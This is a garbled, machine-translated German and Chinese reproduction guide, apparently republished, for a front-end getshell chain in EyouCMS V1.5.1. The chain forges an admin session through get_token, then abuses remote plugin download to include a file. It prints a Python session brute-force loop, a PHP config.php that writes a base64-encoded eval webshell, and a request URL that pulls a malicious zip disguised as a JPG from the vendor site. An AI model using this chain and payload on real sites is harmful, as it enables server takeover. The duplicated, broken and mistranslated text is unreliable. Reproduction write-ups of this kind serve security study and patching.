Heim > Betrieb und Instandhaltung > Sicherheit > So reproduzieren Sie die Front-End-Getshell-Schwachstelle von EyouCMS V1.5.1

So reproduzieren Sie die Front-End-Getshell-Schwachstelle von EyouCMS V1.5.1

PHPz
Freigeben: 2023-05-20 20:14:40
nach vorne
3437 Leute haben es durchsucht

0x00 Vulnerability Introduction

Zanzan Network Technology EyouCMS (EyouCMS) ist ein Open-Source-Content-Management-System (CMS) basierend auf ThinkPHP der China Zanzan Network Technology Company.

Eyoucms v1.5.1 und frühere Versionen weisen Schwachstellen bei willkürlicher Benutzeranmeldung und Dateieinbindung auf. Diese Schwachstelle ermöglicht es einem Angreifer, durch Aufrufen der API eine Administratorsitzung in den Vordergrund zu stellen, und die Hintergrund-Remote-Plug-in-Download-Datei enthält getshell.

0x01 Betroffene Version

EyouCMS <= 1.5.1EyouCMS <= 1.5.1

0x02 环境搭建

下载
官网下载V1.5.1版本
下载连接:https://qiniu.eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip

安装
通过phpstudy集成环境简单部署
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x03 漏洞分析

前台设置管理员session在application/api/controller/Ajax.php:215

如何进行EyouCMS V1.5.1 前台getshell漏洞复现

get_token

函数是可以前台随意调用的,另外形参中的

$name

变量也是通过http传递进来的。跟进token函数,如下图所示。
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

高亮处有一个设置session的操作,名字是可控的,而值是请求时间戳md5的值。不可控。
可以尝试通过这个设置session的操作,构造出一个后台管理员的session。然后我们梳理一下后台管理员的登录逻辑。在application/admin/controller/Base.php:54如何进行EyouCMS V1.5.1 前台getshell漏洞复现

这里涉及到了两个session,一个admin_login_expire,一个admin_id

if (session(&#39;?admin_id&#39;) && getTime() - intval($admin_login_expire) < $web_login_expiretime)
Nach dem Login kopieren

admin_login_expire

(该session会做减法的校验,需要满足一定条件)

admin_id

(该session有就即可,不会验证其值)
设置完这两个session后,我们继续看到if条件判断里还有一个

check_priv

函数,跟进查看:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

if (0 >= intval(session('admin_info.role_id')))<p><code>admin_info.role_id</code></p>
<p>0x02 Umgebungseinrichtung<br><br><img src="https://img.php.cn/upload/article/000/000/164/168458488378613.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">Download</p>Offizielle Website zum Herunterladen der Version V1.5.1<p>Download-Link: https:// qiniu. eyoucms.com/EyouCMS-V1.5.1-UTF8-SP3_142.zip<img src="https://img.php.cn/upload/article/000/000/164/168458488330190.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"></p>Installation<p>Einfache Bereitstellung durch die integrierte PHPStudy-Umgebung<br><img src="https://img.php.cn/upload/article/000/000%20/164%20/168458488237526.jpg" alt="So reproduzieren Sie die Front-End-Getshell-Schwachstelle von EyouCMS V1.5.1"><br><br><img src="https://img.php.cn/upload/article/000/000/164/168458488375781.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现">0x03 Schwachstellenanalyse</p>
<p></p>Stellen Sie die Administratorsitzung im Front-End unter application/api/controller ein /Ajax.php:215<h3><strong> <img src="https://img.php.cn/upload/article/000/000/164/168458488279346.jpg" alt="So reproduzieren Sie die Vorderseite von EyouCMS V1.5.1- „getshell vulnerability beenden“ /></strong></h3><code >get_token</code><p><br/> Die Funktion kann von der Rezeption nach Belieben aufgerufen werden. Darüber hinaus ist die Variable <br/><br/><code>$name</code><img src=" https:></strong></h3></code></p> im Formalen enthalten Der Parameter wird auch über http übergeben. Folgen Sie der Token-Funktion, wie in der Abbildung unten gezeigt. <p><img src="https://img.php.cn/upload/article/000/000/164/168458488210919.jpg" alt="So reproduzieren Sie die Front-End-Getshell-Schwachstelle von EyouCMS V1.5.1"><br><img src="https://img.php.cn/upload/article/000/000/164/168458488418027.jpg" alt="如何进行EyouCMS V1.5.1 前台getshell漏洞复现"> Hoch Es gibt eine Operation zum Festlegen der Sitzung im hellen Bereich, der Name ist steuerbar und der Wert ist der Wert des Anforderungszeitstempels MD5. Unkontrollierbar. </p>Sie können versuchen, über diesen Sitzungseinstellungsvorgang eine Sitzung für den Hintergrundadministrator aufzubauen. Anschließend klären wir die Anmeldelogik des Hintergrundadministrators. In application/admin/controller/Base.php:54<img src="https://img.php.cn/upload/article/000/000/164/168458488287383.jpg" alt="So gehen Sie mit EyouCMS V1 vor .5.1 Wiederholung einer Frontend-Getshell-Schwachstelle“ /><p><br/>Dies umfasst zwei Sitzungen, eine admin_login_expire und eine admin_id<img src=" https:><pre class="brush:php;toolbar:false">while 1 :
    admin_login_expire = api_psot("admin_login_expire")
    num_10 = admin_login_expire[2:12]
    if is_number(num_10):
        print("admin_login_expire=",num_10)
        break
while 1 :
    role_id = api_psot("admin_info.role_id")
    num_1 = role_id[2:3]
    if num_1 in ["a","b","c","d","e","f"]:
        print("role_id=",num_1)
        break
admin_id = api_psot("admin_id")
print("admin_id=",admin_id[2:-1])
Nach dem Login kopieren
admin_login_expire


(Diese Sitzung führt eine Subtraktionsüberprüfung durch und muss bestimmte Bedingungen erfüllen) 如何进行EyouCMS V1.5.1 前台getshell漏洞复现

admin_id


(Die Sitzung ist ausreichend, ihr Wert wird nicht überprüft)
Nachdem wir diese beiden Sitzungen eingerichtet haben, sehen wir weiterhin eine weitere in der if-Bedingungsbeurteilungcheck_priv code>

Funktion, folgen Sie der Ansicht:
So fahren Sie mit EyouCMS V1 fort .5.1 Front-End-Getshell-Sicherheitslücke tritt erneut auf“ /><img src=

<?php  file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4="));
?>
Nach dem Login kopieren
Nach dem Login kopieren
admin_info.role_id🎜🎜(Es reicht aus, wenn es kleiner oder gleich 0 ist)🎜Nach dem Einrichten von drei Sitzungen können Sie teilnehmen der Hintergrund, wie in der Abbildung gezeigt: 🎜🎜🎜🎜Die Getshell zum Herunterladen des Hintergrund-Remote-Plug-Ins befindet sich unter application/admin/controller/Weapp.php:1235🎜🎜🎜Hier wird eine $url und dann eine URL übergeben Das Parsen wird durchgeführt. Der Host muss eyoucms.com sein. 🎜Das heißt, das Programm ist auf das Herunterladen und Installieren von Plug-ins von der offiziellen Website beschränkt, diese Überprüfung ist jedoch zu einfach und kann umgangen werden. 🎜Dann besteht der nächste Schritt darin, den Download-Link anzufordern, ihn zu dekomprimieren und config.php einzubinden. 🎜🎜🎜🎜Die später vorgenommene Plug-in-Standardbeurteilung funktioniert nicht mehr. 🎜🎜🎜0x04 Schwachstellenausnutzung🎜🎜🎜Legen Sie eine Administratorsitzung an der Rezeption fest🎜Zuerst können wir die Administratorsitzung nach erfolgreicher Anmeldung herausnehmen und sie mit der Sitzung des normalen Benutzers vergleichen, der sich nicht angemeldet hat🎜Administrator:🎜🎜🎜🎜Gewöhnlich Benutzer:🎜 🎜🎜🎜Rufen Sie die Funktion get_token auf, um die Sitzung mit dem Namen admin_login_expire🎜🎜🎜🎜 festzulegen, und überprüfen Sie dann, ob die Sitzung des normalen Benutzers🎜🎜🎜🎜 erfolgreich eingerichtet wurde. 🎜Ähnlich können wir admin_id und admin_info.roke_id hinzufügen. 🎜🎜Aber🎜diese MD5-Zeichenfolge erfüllt offensichtlich nicht die Anforderungen in der Schwachstellenanalyse, daher wird die Sitzung ständig über das Skript aktualisiert, bis der entsprechende MD5-Wert gefunden wird🎜rrreee🎜Laufergebnis:🎜🎜🎜

session:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

再经过application/admin/controller/Base.php:58和:106的intval()的转换:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

成功使用该PHPSESSID进入后台:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

后台远程插件下载文件包含getshell
然后开始制作恶意压缩包,文件目录结构如下:

weappp\weapp\test\config.phpconfig.php

文件内容为写入webshell

<?php  file_put_contents("./uploads/allimg/news_2021.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFttb3Z4XSk7Pz4="));
?>
Nach dem Login kopieren
Nach dem Login kopieren

压缩成weappp.zip,修改后缀为jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

到eyoucms.com官网寻找图片上传点
比如这个提问模块的问题描述:
https://www.eyoucms.com/ask/
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

获取到上传的图片地址:
https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
直接在浏览器中请求下载该插件:
http://192.168.58.180/login.php?m=admin&c=weapp&a=downloadInstall&url=https://www.eyoucms.com/uploads/allimg/210420/1618908445631562.jpg
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

此时webshell已成功写入:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

访问webshell:
如何进行EyouCMS V1.5.1 前台getshell漏洞复现

0x05 修复建议

升级EyouCMS至V1.5.2或以后版本。

Das obige ist der detaillierte Inhalt vonSo reproduzieren Sie die Front-End-Getshell-Schwachstelle von EyouCMS V1.5.1. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:yisu.com
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage